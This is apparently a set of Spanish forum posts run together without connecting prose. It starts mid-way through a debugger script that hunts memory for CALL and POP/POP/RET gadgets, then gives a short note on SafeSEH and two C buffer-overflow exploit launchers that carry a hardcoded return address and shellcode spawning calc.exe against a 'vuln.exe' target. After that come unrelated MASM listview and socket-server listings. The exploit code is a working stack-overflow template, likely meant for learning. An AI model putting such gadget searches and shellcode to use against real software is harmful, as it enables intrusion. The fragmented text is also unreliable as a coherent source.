TEST ADDRESS,FF00FF00
JNE L_NEXT_SEARCH_CALL
MOV V_OPCODE,$RESULT
INC V_OPCODE
MOV V_OPCODE,[V_OPCODE],1
CMP V_OPCODE,D7
JA L_NEXT_SEARCH_CALL
GCI ADDRESS,COMMAND
EVAL "ADDRESS:[00{ADDRESS}] - INSTRUCTION:[{$RESULT}]"
LOG "",$RESULT
L_NEXT_SEARCH_CALL:
INC ADDRESS
FINDMEM #FFD?#,ADDRESS
JMP L_SEARCH_CALL
L_BEGIN_SEARCH_3:
FINDMEM #5?5?C3#
L_SEARCH_POP_POP_RET:
TEST $RESULT,$RESULT
JE L_EXIT
MOV ADDRESS,$RESULT
TEST ADDRESS,FF00FF00
JNE L_NEXT_SEARCH_POP_POP_RET
EVAL "ADDRESS:[00{ADDRESS}] - INSTRUCTION:[POP/POP/RET]"
LOG "",$RESULT
L_NEXT_SEARCH_POP_POP_RET:
INC ADDRESS
FINDMEM #5?5?C3#,ADDRESS
JMP L_SEARCH_POP_POP_RET
L_EXIT:
RET
CitarSafeSEH
En Windows XP SP2 y Windows Server 2003 se añadió la protección de memoria SafeSEH, la cual impide en gran medida la ejecución de código a través de SEH. Si esta protección se encuentra habilitada en un módulo, únicamente es posible utilizar como manejadores las direcciones almacenadas anteriormente en una lista. De este modo, no es posible sobrescribir la posición donde se encuentra "Handler_N()" ya que posteriormente se verificara si existe en la tabla indicada.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void main(int argc, char *argv[]) {
char relleno[1024] ="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char offset[] = "\xED\x1E\x95\x7C";
char exploit[] = "\x55\x8B\xEC\x83\xEC\x0C\x32\xD2\xC6\x45\xF4\x63\xC6\x45\xF5\x61\xC6\x45\xF6\x6C\xC6\x45\xF7\x63\xC6\x45\xF8\x2E\xC6\x45\xF9\x65\xC6\x45\xFA\x78\xC6\x45\xFB\x65\x88\x55\xFC\x8D\x45\xF4\x6A\x01\x50\xBB\x4D\x11\x86\x7C\xFF\xD3\x8B\xE5\x5D";
strcat(relleno,offset);
strcat(relleno,exploit);
argv[0] = "vuln1";
argv[1] = relleno;
argv[2] = NULL;
execv ("vuln.exe",argv);
}
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void main(int argc, char *argv[]) {
char relleno[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char offset[] = "\xED\x1E\x95\x7C";
char exploit[] = "\x55\x8B\xEC\x83\xEC\x0C\x32\xD2\xC6\x45\xF4\x63\xC6\x45\xF5\x61\xC6\x45\xF6\x6C\xC6\x45\xF7\x63\xC6\x45\xF8\x2E\xC6\x45\xF9\x65"
"\xC6\x45\xFA\x78\xC6\x45\xFB\x65\x88\x55\xFC\x8D\x45\xF4\x6A\x01\x50\xBB\x4D\x11\x86\x7C\xFF\xD3\x8B\xE5\x5D";
strcat(offset,exploit);
strcat(relleno,offset);
//argv[0] = "vuln1";
//argv[1] = relleno;
//argv[2] = NULL;
//execv ("vuln.exe",argv);
}
invoke SendMessage,hlsv,LVM_GETNEXTITEM,-1,LVNI_FOCUSED
HiloInicio
.....
...
..
TerminateThread(manejadorDeEsteHilo)
HiloFin
TITLE listview
.386
option casemap:none
.model flat,stdcall
include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
include c:\masm32\include\user32.inc
include c:\masm32\include\comctl32.inc
includelib c:\masm32\lib\kernel32.lib
includelib c:\masm32\lib\user32.lib
includelib c:\masm32\lib\comctl32.lib
DlgProc PROTO,
hWnd:HWND,
uMsg:UINT,
wParam:WPARAM,
lParam:LPARAM
.const
.data
DlgName byte "Hola",0
Heading1 byte "Test1",0
Heading2 byte "Test2",0
.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
.code
InsertColumn proc,
hWnd:HWND
LOCAL lvc:LV_COLUMN
mov lvc.imask,LVCF_TEXT+LVCF_WIDTH
mov lvc.pszText,offset Heading1
mov lvc.lx,150
invoke SendMessage,hWnd, LVM_INSERTCOLUMN,0,addr lvc
or lvc.imask,LVCF_FMT
mov lvc.fmt,LVCFMT_RIGHT
mov lvc.pszText,offset Heading2
mov lvc.lx,100
invoke SendMessage,hWnd, LVM_INSERTCOLUMN, 1 ,addr lvc
ret
InsertColumn endp
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke DialogBoxParam,hInstance,ADDR DlgName,NULL,ADDR DlgProc,NULL
invoke ExitProcess,eax
DlgProc PROC hWnd:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM
.IF uMsg == WM_INITDIALOG
invoke InitCommonControls
invoke InsertColumn,hWnd
; invoke GetDlgItem,hWnd,IDC_FOCUS
; invoke SetFocus,eax
.ELSEIF uMsg == WM_CLOSE
invoke EndDialog,hWnd,NULL
.ELSE
mov eax,FALSE
ret
.ENDIF
mov eax,TRUE
ret
DlgProc ENDP
END start
invoke SendMessage,hWnd, LVM_INSERTCOLUMN,0,addr lvc
TITLE listview
.386
option casemap:none
.model flat,stdcall
include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
include c:\masm32\include\user32.inc
include c:\masm32\include\comctl32.inc
includelib c:\masm32\lib\kernel32.lib
includelib c:\masm32\lib\user32.lib
includelib c:\masm32\lib\comctl32.lib
DlgProc PROTO,
hWnd:HWND,
uMsg:UINT,
wParam:WPARAM,
lParam:LPARAM
.const
IDC_LSV1 equ 1001
.data
DlgName byte "Hola",0
Heading1 byte "Test1",0
Heading2 byte "Test2",0
.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
.code
InsertColumn proc,
hWnd:HWND
LOCAL lvc:LV_COLUMN
mov lvc.imask,LVCF_TEXT+LVCF_WIDTH
mov lvc.pszText,offset Heading1
mov lvc.lx,150
invoke SendMessage,hWnd, LVM_INSERTCOLUMN,0,addr lvc
or lvc.imask,LVCF_FMT
mov lvc.fmt,LVCFMT_RIGHT
mov lvc.pszText,offset Heading2
mov lvc.lx,100
invoke SendMessage,hWnd, LVM_INSERTCOLUMN, 1 ,addr lvc
ret
InsertColumn endp
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke DialogBoxParam,hInstance,ADDR DlgName,NULL,ADDR DlgProc,NULL
invoke ExitProcess,eax
DlgProc PROC hWnd:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM
.IF uMsg == WM_INITDIALOG
invoke InitCommonControls
invoke GetDlgItem,hWnd,IDC_LSV1
invoke InsertColumn,eax
; invoke GetDlgItem,hWnd,IDC_FOCUS
; invoke SetFocus,eax
.ELSEIF uMsg == WM_CLOSE
invoke EndDialog,hWnd,NULL
.ELSE
mov eax,FALSE
ret
.ENDIF
mov eax,TRUE
ret
DlgProc ENDP
END start
Citar_Out_ struct sockaddr *addr,
_Inout_ int *addrlen
TITLE cliente
.386
option casemap:none
.model flat,stdcall
include c:\masm32\include\windows.inc
include c:\masm32\include\user32.inc
include c:\masm32\include\kernel32.inc
include c:\masm32\include\ws2_32.inc
includelib c:\masm32\lib\user32.lib
includelib c:\masm32\lib\kernel32.lib
includelib c:\masm32\lib\ws2_32.lib
.const
.data
wsadata WSADATA <>
sin sockaddr_in <>
acpt sockaddr <>
errort byte "Error Server",0 ; temp
error1 byte "Error WSAStartup",0 ; temp
error2 byte "Error socket",0 ; temp
error3 byte "Error listen",0 ; temp
error4 byte "Error bind",0 ; temp
look byte "Conexión recibida",0 ; temp
Port equ 61116
.data?
sock SOCKET ?
.code
main PROC
invoke WSAStartup,101h,addr wsadata
.if eax!=NULL
invoke MessageBox,NULL,addr error1,addr errort,MB_ICONERROR + MB_OK ; temp
.else
invoke socket,AF_INET,SOCK_STREAM,0
.if eax!=INVALID_SOCKET
mov sock,eax
mov sin.sin_family,AF_INET
mov sin.sin_addr,INADDR_ANY
invoke htons,Port
mov sin.sin_port,ax
invoke bind,sock,addr sin,sizeof sin
.if eax!=SOCKET_ERROR
invoke listen,sock,15
.if eax!=SOCKET_ERROR
.while(TRUE)
invoke accept,sock,addr acpt,sizeof acpt
.if eax!=SOCKET_ERROR
invoke MessageBox,NULL,addr look,addr errort,MB_ICONERROR + MB_OK ; temp
.else
invoke WSAGetLastError
.endif
.endw
.else
invoke MessageBox,NULL,addr error3,addr errort,MB_ICONERROR + MB_OK ; temp
.endif
.else
invoke MessageBox,NULL,addr error4,addr errort,MB_ICONERROR + MB_OK ; temp
.endif
.else
invoke MessageBox,NULL,addr error2,addr errort,MB_ICONERROR + MB_OK ; temp
.endif
.endif
invoke ExitProcess,0
main ENDP
END main